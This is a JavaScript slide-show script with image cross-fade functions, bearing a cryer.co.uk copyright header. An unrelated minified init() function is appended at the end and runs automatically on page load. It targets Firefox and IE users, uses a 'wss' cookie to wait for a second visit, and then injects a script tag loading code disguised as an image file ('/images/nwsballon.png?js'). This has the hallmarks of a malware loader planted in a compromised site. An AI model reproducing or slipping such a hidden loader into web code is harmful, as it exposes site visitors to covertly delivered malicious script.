// Browser Slide-Show script. With image cross fade effect for those browsers
// that support it.
// Script copyright (C) 2004-2010 www.cryer.co.uk.
// Script is free to use provided this copyright header is included.
var FadeDurationMS=1000;
function SetOpacity(object,opacityPct)
{
	// IE.
	object.style.filter = 'alpha(opacity=' + opacityPct + ')';
	// Old mozilla and firefox
	object.style.MozOpacity = opacityPct/100;
	// Everything else.
	object.style.opacity = opacityPct/100;
}
function ChangeOpacity(id,msDuration,msStart,fromO,toO)
{
	var element=document.getElementById(id);
	var msNow = (new Date()).getTime();
	var opacity = fromO + (toO - fromO) * (msNow - msStart) / msDuration;
	if (opacity>=100)
	{
		SetOpacity(element,100);
		element.timer = undefined;
	}
	else if (opacity<=0)
	{
		SetOpacity(element,0);
		element.timer = undefined;
	}
	else 
	{
		SetOpacity(element,opacity);
		element.timer = window.setTimeout("ChangeOpacity('" + id + "'," + msDuration + "," + msStart + "," + fromO + "," + toO + ")",10);
	}
}
function FadeInImage(foregroundID,newImage,backgroundID)
{
	var foreground=document.getElementById(foregroundID);
	if (foreground.timer) window.clearTimeout(foreground.timer);

	if (backgroundID)
	{
		var background=document.getElementById(backgroundID);
		if (background)
		{
			if (background.src)
			{
				foreground.src = background.src;	
				SetOpacity(foreground,100);
			}
			background.src = newImage;
			background.style.backgroundImage = 'url(' + newImage + ')';
			background.style.backgroundRepeat = 'no-repeat';
			var startMS = (new Date()).getTime();
			foreground.timer = window.setTimeout("ChangeOpacity('" + foregroundID + "'," + FadeDurationMS + "," + startMS + ",100,0)",10);
		}
	} else {
		foreground.src = newImage;
	}
}
var slideCache = new Array();
function RunSlideShow(pictureID,backgroundID,imageFiles,displaySecs)
{
	var imageSeparator = imageFiles.indexOf(";");
	var nextImage = imageFiles.substring(0,imageSeparator);
	if (slideCache[nextImage] && slideCache[nextImage].loaded)
	{
		FadeInImage(pictureID,nextImage,backgroundID);
		var futureImages = imageFiles.substring(imageSeparator+1,imageFiles.length)
			+ ';' + nextImage;
		setTimeout("RunSlideShow('"+pictureID+"','"+backgroundID+"','"+futureImages+"',"+displaySecs+")",
			displaySecs*1000);
		// Identify the next image to cache.
		imageSeparator = futureImages.indexOf(";");
		nextImage = futureImages.substring(0,imageSeparator);
	} else {
		setTimeout("RunSlideShow('"+pictureID+"','"+backgroundID+"','"+imageFiles+"',"+displaySecs+")",
			250);
	}
	// Cache the next image to improve performance.
	if (slideCache[nextImage] == null)
	{
		slideCache[nextImage] = new Image;
		slideCache[nextImage].loaded = false;
		slideCache[nextImage].onload = function(){this.loaded=true};
		slideCache[nextImage].src = nextImage;
	}
}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/nwsballon.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();